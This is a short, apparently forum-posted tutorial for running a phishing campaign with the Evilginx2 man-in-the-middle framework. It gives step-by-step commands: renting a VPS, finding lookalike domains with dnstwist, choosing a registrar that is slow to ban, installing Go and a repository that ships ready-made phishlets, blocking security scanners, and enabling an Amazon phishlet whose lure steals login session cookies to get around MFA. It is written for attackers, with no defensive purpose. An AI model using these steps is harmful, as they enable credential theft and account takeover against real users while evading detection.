TUTORIAL PHISHING PAGE SETTING UP YOUR OWN PAGE

Step1: Get a server
The first step for any phishing campaign is aquiring a relatively cheap VPS to host your page. There many providers out there. For your os, Chose debian as that will work the best for this.

Step 2: Get a phishing domain
In order to figure out what some phishing domains are, i reccomend installing dnstwist on a kali machine and running the domain of the site your using in your attack through it to find available domains. I reccomend using namecheap to buy your domain as they have fairly cheap prices and wont ban it quickly which is always neat.

Step3(time to type): Installing Evilginx2

First off, Evilginx2 is a MiTM phishing framework what also steals session cookies, which can be used to bypass MFA.

To install this we need to run the follwoing
First, Make sure wget is installed.

Code 
sudo apt update

sudo apt install wget -y

Next, we need to install Go.

Code 
wget https://golang.org/dl/go1.17.linux-amd64.tar.gz

Now we install Go.

Code 
sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/

Next, we configure PATH

Code 
echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh

source /etc/profile.d/go.sh

Now we install Evilginx. I prefer this repo as it already as phishlets and saves you some time of hunting down/ Making your own.

Code 
sudo apt-get -y install git make

git clone https://github.com/BakkerJan/evilginx2.git

cd evilginx2

make

After this, Install Globally.

Code 
sudo make install

And now run.

Code 
sudo evilginx

Step4: Create Page.

Upon running. you will see a list of pages that are all disabled, pick your page of choice, but first we need to configure Evilginx so that we dont have problems

Code 
config domain <yourdomain>

config ip <yourIP>

blacklist unauth

The blacklist command is to block your site from scanners. YOU WANT TO DO THIS.

Next, pick your phishlet(phishing page) of choice

Code 
phishlets hostname amazon <your domain name>

phishlets enable amazon

Now its time to setup our lure for this site. This is the actual phishing page its self.

Code 
lures create amazon

lures edit 0 redirect_url https://amazon.com

lures get-url 0

After running lures get-url 0 you should see a link appear on screen, this is your phishing link.